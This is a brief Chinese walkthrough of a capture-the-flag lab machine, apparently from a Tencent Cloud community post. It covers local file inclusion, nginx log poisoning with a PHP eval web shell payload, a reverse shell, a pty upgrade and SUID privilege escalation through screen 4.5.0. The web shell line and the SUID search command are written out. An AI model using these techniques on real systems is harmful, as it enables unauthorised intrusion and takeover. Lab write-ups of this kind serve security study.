扫描获取靶机ip
nmap扫描开放端口及服务
访问80端口
contact页面下有个提交的按钮,一般这种地方有可能出现漏洞
提交后没什么特别的,但刷新后下面的年份会变,有可能存在文件包含
fuzz一下变量名为file
成功包含/etc/passwd
接下来试试能不能包含日志文件getshell,由于识别出服务器为nginx,包含一下nginx配置文件看看日志路径
在url输入php代码
http://192.168.101.77/<?php eval@($_POST['1']);?>
使用burp抓包改掉url编码的内容
蚁剑连接
尝试反弹shell
成功反弹shell,切换到交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
看看能不能suid提权,find查找具有suid权限的命令
find / -perm -u=s -type f 2>/dev/null
发现一个screen-4.5.0很可疑,上网搜了一下这个可以提权,查找exp
使用第二个,查看一下这个脚本文件
实际上是两个c文件还有操作的命令。本地打开web服务
切换到web目录下,保存两个c文件(其实直接在靶机上创建也可以)
靶机切换到tmp目录下wget下载这两个文件
编译
执行剩余命令,成功获取root权限
切换到root目录下成功获取flag
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。